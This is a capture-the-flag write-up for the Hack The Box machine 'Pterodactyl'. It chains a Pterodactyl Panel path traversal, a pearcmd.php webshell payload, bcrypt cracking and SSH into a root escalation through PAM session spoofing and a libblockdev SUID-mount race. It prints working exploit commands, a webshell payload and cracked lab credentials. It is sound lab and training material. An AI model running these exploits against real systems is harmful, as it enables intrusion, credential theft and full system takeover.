HTB Pterodactyl — Pterodactyl Panel LFI to Root via CVE-2025-6018/6019 PAM+udisks Chain
A Medium-rated Linux machine running openSUSE Leap 15.6 with Pterodactyl Panel — a game server management platform. The attack chain: exploit a path traversal in the panel’s locale endpoint (CVE-2025-49132) to leak database credentials and chain with pearcmd.php for RCE, crack a bcrypt hash for SSH, then escalate to root by chaining two recent Linux privilege escalation CVEs — PAM session spoofing (CVE-2025-6018) and a libblockdev nosuid mount bypass via XFS resize (CVE-2025-6019).
Enumeration#
Port Scan#
22/tcp — OpenSSH 9.6 (openSUSE)
80/tcp — nginx 1.21.5, PHP 8.4.8 (FPM)
Virtual Hosts#
Fuzzing reveals three vhosts:
pterodactyl.htb— static “MonitorLand” Minecraft server pagepanel.pterodactyl.htb— Pterodactyl Panel v1.11.10 (Laravel SPA)play.pterodactyl.htb— redirects to main
User Flag#
Step 1 — CVE-2025-49132: Pterodactyl Panel LFI#
The /locales/locale.json endpoint has path traversal via the locale and namespace parameters. This leaks the full Laravel configuration including database credentials:
curl -s "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../pterodactyl&namespace=config/database"
Leaked credentials:
- Database:
pterodactyl/PteraPanel@127.0.0.1:3306/panel - APP_KEY:
base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
Step 2 — LFI to RCE via pearcmd.php#
Checking phpinfo reveals register_argc_argv=On and PEAR installed. When the LFI includes pearcmd.php, the query string is parsed as CLI arguments — a well-known technique for turning PHP LFI into RCE.
# Write a webshell to /tmp/
curl -s -g "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
+config-create+/<?=system(\$_GET[0]);?>+/tmp/s.php"
# Execute commands via the written shell
curl -s -g "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../tmp&namespace=s&0=id"
# uid=474(wwwrun) gid=477(www)
Step 3 — Database Hash Extraction and Cracking#
Using the webshell to query MySQL via PHP PDO:
$pdo = new PDO("mysql:host=127.0.0.1;dbname=panel", "pterodactyl", "PteraPanel");
$r = $pdo->query("SELECT username, password FROM users");
Two users: headmonitor (bcrypt cost 12, admin) and phileasfogg3 (bcrypt cost 10). The lower-cost hash cracks with john:
john --wordlist=rockyou.txt --format=bcrypt phileas.hash
# phileasfogg3:!QAZ2wsx
Step 4 — SSH Access#
ssh phileasfogg3@pterodactyl.htb
# Password: !QAZ2wsx
User flag captured.
Root Flag#
Enumeration#
The box is openSUSE Leap 15.6 with kernel 6.4.0. Key findings:
sudo -l:(ALL) ALLwith targetpw — needs the target user’s password- No special groups, no custom SUID, no capabilities
- udisks2 2.9.2 and polkit 121 installed
- Redis on localhost (protected config)
- PHP-FPM master as root, workers as wwwrun
- BTRFS filesystem on
/dev/sda1
The targetpw sudoers configuration is the key constraint — you can run commands as any user, but you must provide their password. Without root’s password, sudo su is useless.
Step 5 — CVE-2025-6018: PAM Session Spoofing#
CVE-2025-6018 is a misconfiguration in openSUSE/SUSE 15’s PAM stack that allows SSH users to gain allow_active polkit privileges — normally reserved for physically present console users.
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
# Re-login via SSH
After re-login, the SSH session is recognized as an active console session:
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# ('yes',)
This unlocks polkit actions requiring allow_active, including udisks2 device management.
Step 6 — CVE-2025-6019: libblockdev XFS Resize SUID Mount#
CVE-2025-6019 is the privilege escalation piece. When udisks2 calls libblockdev to resize an XFS filesystem, libblockdev temporarily mounts the filesystem at /tmp/blockdev.* without nosuid or nodev flags. This is the critical difference from udisksctl mount, which always enforces nosuid.
Prepare the malicious XFS image (attacker machine, as root):
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image
mkdir xfs.mount && mount -t xfs xfs.image xfs.mount
cp /bin/bash xfs.mount/bash
chmod 4755 xfs.mount/bash # SUID root
umount xfs.mount
Transfer to target and exploit:
scp xfs.image phileasfogg3@pterodactyl.htb:/tmp/
The exploit requires winning a race — keeping the mount alive before libblockdev unmounts it after the resize completes:
# Background watcher: open a file descriptor to prevent unmount
(while true; do
for d in /tmp/blockdev*/; do
[ -f "${d}bash" ] && exec 9<"${d}bash" && \
touch /tmp/.race_won && sleep 3600
done
done) &
# Setup loop device
udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction
# Mapped file /tmp/xfs.image as /dev/loop0.
# Trigger resize — this is where libblockdev mounts WITHOUT nosuid
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
The watcher wins the race on the first attempt:
/dev/loop0 on /tmp/blockdev.GVSEL3 type xfs (rw,relatime,attr2,...)
No nosuid flag in the mount options. Execute the SUID bash:
/tmp/blockdev.GVSEL3/bash -p
# uid=1002(phileasfogg3) gid=100(users) euid=0(root)
cat /root/root.txt
Attack Chain#
panel.pterodactyl.htb (Pterodactyl Panel v1.11.10)
|
v
CVE-2025-49132: /locales/locale.json path traversal -> config leak
|
v
pearcmd.php LFI-to-RCE chain -> webshell as wwwrun
|
v
MySQL via PDO -> bcrypt hashes -> john: phileasfogg3 = !QAZ2wsx
|
v
SSH as phileasfogg3 (user flag)
|
v
CVE-2025-6018: .pam_environment seat0 spoof -> polkit allow_active
|
v
CVE-2025-6019: udisksctl loop-setup + gdbus Filesystem.Resize
-> libblockdev mounts XFS at /tmp/blockdev* WITHOUT nosuid
-> race condition: keep mount alive via open fd
-> SUID bash executes as euid=0
|
v
Root shell
Takeaways#
pearcmd.php LFI-to-RCE is a powerful primitive. If you have an LFI in a PHP application, check for
register_argc_argv=Onand PEAR installation — this turns file inclusion into code execution without needing file upload or log poisoning.CVE-2025-6018 + CVE-2025-6019 is a generic privilege escalation chain affecting SUSE/openSUSE 15, Ubuntu, Debian, and Fedora. The PAM misconfiguration (6018) is SUSE-specific, but the libblockdev nosuid omission (6019) affects all distributions shipping udisks2. The fix: change the polkit rule for
org.freedesktop.udisks2.modify-devicefromallow_active=yestoallow_active=auth_admin.Race conditions in privileged daemons are a recurring theme. libblockdev’s temporary mount without nosuid is exploitable because the mount exists long enough to win a race — a simple background file descriptor watcher wins on the first attempt. Temporary mounts in privileged code should always use the most restrictive mount options.
targetpwin sudoers is unusual — it requires the target user’s password rather than your own. This shifts the escalation strategy from “find a sudo misconfiguration” to “find the target user’s password or an alternative privilege escalation path.”